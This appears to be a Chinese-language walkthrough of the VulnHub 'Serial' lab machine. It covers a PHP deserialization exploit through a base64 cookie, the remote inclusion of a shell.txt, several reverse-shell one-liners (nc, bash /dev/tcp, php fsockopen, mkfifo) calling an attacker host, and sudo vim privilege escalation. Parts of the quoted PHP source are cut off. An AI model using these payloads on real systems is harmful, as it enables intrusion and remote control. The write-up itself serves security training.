vulnhub serial讲解

目录

环境搭建

下载

漏洞过程详解

1.信息收集

2.爆破目录

3.文件分析

4.反弹shell


环境搭建

下载

https://download.vulnhub.com/serial/serial.zip

 

你会得到一个这样的文件,这里使用VMware新建一个虚拟机,这里记录比较重要的几部分。

vulnhub serial讲解_第1张图片

vulnhub serial讲解_第2张图片

 vulnhub serial讲解_第3张图片

 vulnhub serial讲解_第4张图片

这里就是使用我们刚才下过来的。

 vulnhub serial讲解_第5张图片

漏洞过程详解

1.信息收集

netdiscover -i eth0 -r 10.140.98.0/24

vulnhub serial讲解_第6张图片

nmap通常我喜欢使用sS参数,它相对其他参数扫描速度更快且更加隐蔽,而且不会扫崩一些端口,有80端口访问网页看一下。

 vulnhub serial讲解_第7张图片

这里访问已经提示了cookie,这里查看cookie看一下。

vulnhub serial讲解_第8张图片

F12拦包,这里查看一下,请求头中的cookie,有user这个参数,首先这个名字就有点问题了吧,哈哈哈,接下来就是看内容,大写字母小写字母数字最后一个%3D明显就是等号,这里就可以大胆猜测这是base64编码后的一串字符串。

vulnhub serial讲解_第9张图片

这里解出来很明显就是一串PHP序列化字符串,那肯定是有文件让你分析的,这里找找没有找到,准备爆破目录。

vulnhub serial讲解_第10张图片

2.爆破目录

这里使用dirsearch爆破目录,这里访问/backup

vulnhub serial讲解_第11张图片

vulnhub serial讲解_第12张图片

这里我们得到了,三个文件这里分析一下。

3.文件分析

这里我们看这三个文件

 index.php


 user.classs.php

name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

 log.class.php

$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

         这里分析一下index.php通过cookie会base64解密一次然后进行反序列化,然后 user.classs.php,这里看到他include("log.class.php");。

        这里先观察 log.class.php,这里发现了include这个可以这个好,而且可以我们自己定义他读取文件或者远程命令执行。

        查看他这是定义了一个handler方法,看看那里定义这个方法, user.classs.php中有$this->wel->handler($this->name);,这里修改__construct魔术方法中的$this->wel = new Welcome();为$this->wel = new Log();就可以了。

exp

log.class.php

$type_log = $hnd;
      }

      public function handler($val)
      {
          include($this->type_log);
          echo "LOG: " . $val;
      }
  }

user.class.php

name = $name;
          $this->wel = new Log();
      }

      public function __destruct()
      {
          //echo "bye\n";
          $this->wel->handler($this->name);
      }
  }
  $a = new User('adsf', 'asfd');
  $b = urlencode(serialize($a));
  $c = str_replace('%00', '%5Cx00', $b);
  echo urldecode($c)."\n";

这里得到

O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}

这里选择在线网站加密,发现修改cookie以后,并没有没有回显这里解密一下看看。

vulnhub serial讲解_第13张图片

发现其实这里并没有被解析,这里是因为 private私有的缘故,会有不可见字符,这里用\x00替换了,但是发现这里并没有被解析,感觉是网站加密有问题,这里直接使用python来加密。

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319

这里再重新解密,发现这里解析了。

 vulnhub serial讲解_第14张图片

cookie传
payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319

 使用hacker就可以

vulnhub serial讲解_第15张图片​ vulnhub serial讲解_第16张图片

 既然测试可以,这里就尝试远程包含,这里在本地搭建一个网站,在网站根目录下面写一个shell.txt,这里我原本使用的shell.php但是没有成功,之后想想应该是他远程包含,访问这个站但是php是后端语言所以前端是没有的,但是有的人疑惑为什么txt会可以,因为include是按php执行的。

 vulnhub serial讲解_第17张图片

O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:30:"http://10.140.98.245/shell.txt";}}

payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czozMDoiaHR0cDovLzEwLjE0MC45OC4yNDUvc2hlbGwudHh0Ijt9fQ==

vulnhub serial讲解_第18张图片

4.反弹shell

 这里我们尝试反弹shell,这里尝试了。

nc 10.140.98.245 4444 -e /bin/bash

bash -i >& /dev/tcp/10.140.98.245/4444 0>&1

/bin/sh 0/tmp/backpipe

mknod backpipe p && telnet 10.140.98.245 4444 0backpipe


上面都不行,下面这个可以。

php -r '$sock=fsockopen("10.140.98.245",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
url编码一下
php%20-r%20%27%24sock%3Dfsockopen%28%2210.140.98.245%22%2C4444%29%3Bexec%28%22/bin/bash%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.140.98.245 4444 >/tmp/f
url编码一下
rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/bash%20-i%202%3E%261%7Cnc%2010.140.98.245%204444%20%3E/tmp/f

whoami看一下,额是一个低权限用户。。

在根目录发现一个文件credentials.txt.bak

通常我们都对bak这种后缀的比较敏感,这种通常都是一些备份文件。

这里我们得到了sk4用户这个密码。

还是没有权限。

这里sudo -l发现一个好东西 NOPASSWD: /usr/bin/vim

vulnhub serial讲解_第19张图片

 这里输入命令sudo vim

vulnhub serial讲解_第20张图片

 

你可能感兴趣的:(vulnhub,安全)